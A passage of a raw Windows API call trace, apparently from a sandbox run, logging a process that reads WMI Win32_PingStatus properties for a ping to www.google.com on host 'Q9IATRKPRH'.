[0142.352] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.352] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.352] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c454*=0, plFlavor=0x249c458*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c454*=8, plFlavor=0x249c458*=64) returned 0x0 [0142.352] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c47c*=0, plFlavor=0x249c480*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249c47c*=8, plFlavor=0x249c480*=64) returned 0x0 [0142.352] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.352] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.352] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c4d4*=0, plFlavor=0x249c4d8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249c4d4*=8, plFlavor=0x249c4d8*=64) returned 0x0 [0142.353] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.353] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.353] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c6bc*=0, plFlavor=0x249c6c0*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x249c6bc*=3, plFlavor=0x249c6c0*=64) returned 0x0 [0142.353] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c6f0*=0, plFlavor=0x249c6f4*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507510*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249c6f0*=8200, plFlavor=0x249c6f4*=64) returned 0x0 [0142.353] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c724*=0, plFlavor=0x249c728*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249c724*=8, plFlavor=0x249c728*=64) returned 0x0 [0142.353] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.353] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.354] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c770*=0, plFlavor=0x249c774*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x249c770*=8, plFlavor=0x249c774*=64) returned 0x0 [0142.354] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.354] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.354] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c7bc*=0, plFlavor=0x249c7c0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249c7bc*=8, plFlavor=0x249c7c0*=64) returned 0x0 [0142.354] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.354] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.354] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0142.354] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0142.354] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.355] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Address", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c9f4*=0, plFlavor=0x249c9f8*=0 | out: pVal=0x59ee8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x249c9f4*=8, plFlavor=0x249c9f8*=0) returned 0x0 [0142.355] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.355] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.355] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Address", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c9f4*=8, plFlavor=0x249c9f8*=0 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x249c9f4*=8, plFlavor=0x249c9f8*=0) returned 0x0 [0142.355] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.355] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.356] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x584 [0142.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.356] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.356] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.356] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249d640*=0, plFlavor=0x249d644*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x249d640*=8, plFlavor=0x249d644*=64) returned 0x0 [0142.356] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.356] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.356] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249d640*=8, plFlavor=0x249d644*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x249d640*=8, plFlavor=0x249d644*=64) returned 0x0 [0142.356] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.356] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.356] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.356] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.356] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249d6dc*=0, plFlavor=0x249d6e0*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249d6dc*=8, plFlavor=0x249d6e0*=64) returned 0x0 [0142.357] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.357] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.357] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249d6dc*=8, plFlavor=0x249d6e0*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249d6dc*=8, plFlavor=0x249d6e0*=64) returned 0x0 [0142.357] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.357] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.357] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.357] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.357] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249d838*=0, plFlavor=0x249d83c*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249d838*=8200, plFlavor=0x249d83c*=64) returned 0x0 [0142.357] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249d838*=8200, plFlavor=0x249d83c*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507510*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249d838*=8200, plFlavor=0x249d83c*=64) returned 0x0 [0142.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.358] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.358] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.358] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249daa0*=0, plFlavor=0x249daa4*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249daa0*=8, plFlavor=0x249daa4*=64) returned 0x0 [0142.358] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.358] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.358] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249daa0*=8, plFlavor=0x249daa4*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249daa0*=8, plFlavor=0x249daa4*=64) returned 0x0 [0142.358] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.358] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0142.358] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0142.358] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.358] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249dbc8*=0, plFlavor=0x249dbcc*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249dbc8*=8200, plFlavor=0x249dbcc*=64) returned 0x0 [0142.358] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249dbc8*=8200, plFlavor=0x249dbcc*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507510*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249dbc8*=8200, plFlavor=0x249dbcc*=64) returned 0x0 [0142.359] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0142.359] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0142.359] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.359] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0142.359] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0142.359] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.359] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee550 | out: pNames=0x59ee550*="\x01ƀ\x04") returned 0x0 [0142.359] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.359] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.359] SafeArrayGetLBound (in: psa=0x507570, nDim=0x1, plLbound=0x59ee3e8 | out: plLbound=0x59ee3e8) returned 0x0 [0142.359] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.359] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.359] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.359] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.359] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.359] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.359] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.359] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.359] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.359] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.359] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.359] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.360] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.360] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.360] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.360] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.360] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.360] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.360] SysStringByteLen (bstr="__PATH") returned 0xc [0142.360] SysStringByteLen (bstr="__PATH") returned 0xc [0142.360] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e418*=0, plFlavor=0x249e41c*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x249e418*=3, plFlavor=0x249e41c*=64) returned 0x0 [0142.360] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e44c*=0, plFlavor=0x249e450*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249e44c*=8, plFlavor=0x249e450*=64) returned 0x0 [0142.360] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.360] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.360] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e4a4*=0, plFlavor=0x249e4a8*=0 | out: pVal=0x59ee54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e4a4*=8, plFlavor=0x249e4a8*=64) returned 0x0 [0142.360] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e4cc*=0, plFlavor=0x249e4d0*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249e4cc*=8, plFlavor=0x249e4d0*=64) returned 0x0 [0142.360] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.361] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.361] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e530*=0, plFlavor=0x249e534*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249e530*=8, plFlavor=0x249e534*=64) returned 0x0 [0142.361] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.361] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.361] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e70c*=0, plFlavor=0x249e710*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x249e70c*=3, plFlavor=0x249e710*=64) returned 0x0 [0142.361] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e740*=0, plFlavor=0x249e744*=0 | out: pVal=0x59ee54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249e740*=8200, plFlavor=0x249e744*=64) returned 0x0 [0142.361] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e774*=0, plFlavor=0x249e778*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249e774*=8, plFlavor=0x249e778*=64) returned 0x0 [0142.361] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.361] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.362] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e7c0*=0, plFlavor=0x249e7c4*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x249e7c0*=8, plFlavor=0x249e7c4*=64) returned 0x0 [0142.362] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.362] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.362] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249e80c*=0, plFlavor=0x249e810*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249e80c*=8, plFlavor=0x249e810*=64) returned 0x0 [0142.362] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.362] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee590 | out: puCount=0x59ee590*=0x2) returned 0x0 [0142.362] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee58c*=0xf, pszText=0x0) returned 0x0 [0142.362] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.362] IWbemClassObject:Get (in: This=0x4f480a0, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ea44*=0, plFlavor=0x249ea48*=0 | out: pVal=0x59ee58c*(varType=0x8, 